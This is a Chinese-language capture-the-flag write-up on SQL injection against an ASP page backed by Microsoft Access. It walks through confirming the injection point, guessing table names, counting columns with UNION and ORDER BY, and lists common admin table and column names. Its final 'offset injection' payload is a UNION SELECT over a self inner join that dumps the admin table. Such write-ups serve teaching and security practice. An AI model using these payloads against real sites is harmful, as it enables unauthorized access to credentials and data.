偏移注入payload构造技巧实战+Access注入

url:http://218.245.4.113:8888/web03/ca55022fa7ae5c29d179041883fe1556/index.asp?id=886
拿到url,虽然知道肯定是id是注入点,但还是写一下完整思路:
1.拿到界面,长这样
偏移注入payload构造技巧实战+Access注入_第1张图片
2.先判断是否有sql注入,注入点,886后加’,发现报错,证明有注入
判断注入点
猜测数据库表并验证,方法是url后加 and (select Count(*) from 数据库表)>0,猜测到admin表,news表。
偏移注入payload构造技巧实战+Access注入_第2张图片
如果不用刚才的方式,用union语句也可,在url后加 union select 1,2,3,4,id,6,7,8,9,10,11,12 from 数据库表,同样效果,不过如果用union能同时查看字段数。
3.查看字段数。通过union也可以,通过order by也可以。
先用union:http://218.245.4.113:8888/web03/ca55022fa7ae5c29d179041883fe1556/index.asp?id=886%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12%20from%20admin
这里写图片描述

13以下可以,13不可以,字段为12。
用order by:
偏移注入payload构造技巧实战+Access注入_第3张图片

偏移注入payload构造技巧实战+Access注入_第4张图片
一样的效果。
4.尝试猜测字段并验证,但没有爆出来。这里列一下常见的:
常用的表名:admin user news manage a_admin x_admin m_admin adminuser admin_user article_admin administrator manager member memberlist users Manage_User user_info admin_userinfo login new news
常用的列名:username password id adminusername admin_username adminname admin_name admin adminuser admin_user user_name user_admin administrator administrators adminpassword admin_pwd adminpass userpass user_pass admin_passwod
4.百度了一下,得到表得不到字段的话可以尝试access偏移注入,该方式可以解决%90注入得到表得不到字段的网站。
先统计admin表的字段数:
偏移注入payload构造技巧实战+Access注入_第5张图片
8个字段。
之前我们知道id一定是admin8个字段中的之一,所以再查看id是第几个字段:
查看id在字段中的位置
第五个成功,则是第五个字段。
最后一步:Payload:http://218.245.4.113:8888/web03/ca55022fa7ae5c29d179041883fe1556/index.asp?id=886%20union%20select%201,2,3,4,*%20from%20admin%20as%20a%20inner%20join%20admin%20as%20b%20on%20a.id=b.id
payload

通过这题再介绍一下偏移注入的原理:
1.Union合并查询需要列相等,顺序一样;
2.select * from admin as a inner join admin as b on a.id=b.id 这句话请大家理解下,就是说把admin表记为a,同时也记为b,然后查询条件是a表的id列与b表的id列相等,返回所有相等的行,显然,a,b都是同一个表,当然全部返回啦。不理解的查一查语法吧。
3. *代表了所有字段,如你查admin表,他有几个字段,那么*就代表几个字段
举个例子:admin有5列,那么union select 1,2,3,* from admin如果返回正常,就代表注入的表有8列

你可能感兴趣的:(sql,injection)